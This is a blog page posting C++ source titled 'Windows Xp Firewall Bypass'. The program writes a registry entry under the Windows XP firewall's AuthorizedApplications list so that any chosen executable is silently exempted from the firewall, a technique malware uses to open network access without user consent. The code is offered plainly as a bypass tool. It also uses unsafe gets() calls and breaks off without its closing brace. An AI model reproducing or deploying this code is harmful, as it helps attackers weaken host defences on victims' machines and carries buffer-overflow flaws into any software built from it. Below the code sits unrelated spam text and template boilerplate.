Search

Home » » [c++] Windows Xp Firewall Bypass

[c++] Windows Xp Firewall Bypass

include
#include

int AddToWindowsFirewall(char *displayname,char * exepath);

int main()
{
char dspname[MAX_PATH] = "";
char exepath[MAX_PATH] = "";

printf("Add To WinXP SP2 Firewall Exeception List\nBy Smith\n\n");

printf("Enter display name: ");
gets(dspname);

printf("Enter exe path: ");
gets(exepath);

if(AddToWindowsFirewall(dspname,exepath))
{
printf("Success!\n");
}else{
printf("Failure!\n");
}
return 0;
}

int AddToWindowsFirewall(char *displayname,char * exepath)
{
HKEY hKey;

char filedata[MAX_PATH] = "";

wsprintf(filedata,"%s:*:Enabled:%s",exepath,displayname);

if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"System\\ControlSet001\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List",0,KEY_ALL_ACCESS,&hKey)) return 0;
if(RegSetValueEx(hKey,exepath,0,REG_SZ,(unsigned char*)filedata,sizeof(filedata))) return 0;

RegCloseKey(hKey);

return 1;//Success
Share this article :

Blogger templates

Are you looking for "فيديو ، يوتيوب ، فيديوهات ، مقاطع ، افلام ، فلم ، مقطع ، قناة ، مسلسل ، مسلسلات"? Check out videoo The passionate experts in this field are ready to answer all of your requests.
 
Support : Your Link | Your Link | Your Link
Copyright © 2013. funsday - All Rights Reserved
Template Created by Creating Website Published by Mas Template
Proudly powered by Blogger